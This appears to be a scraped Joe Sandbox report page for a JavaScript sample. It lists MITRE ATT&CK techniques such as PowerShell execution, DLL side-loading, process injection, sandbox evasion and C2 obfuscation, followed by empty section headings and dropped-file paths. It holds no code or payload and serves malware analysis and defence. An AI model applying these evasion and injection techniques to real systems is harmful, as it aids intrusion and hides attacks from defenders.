Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1808220077299634192.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f28c7a85-62da-4ab9-aff9-e1cc1d6678b5.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5712

Windows Analysis Report
1808220077299634192.js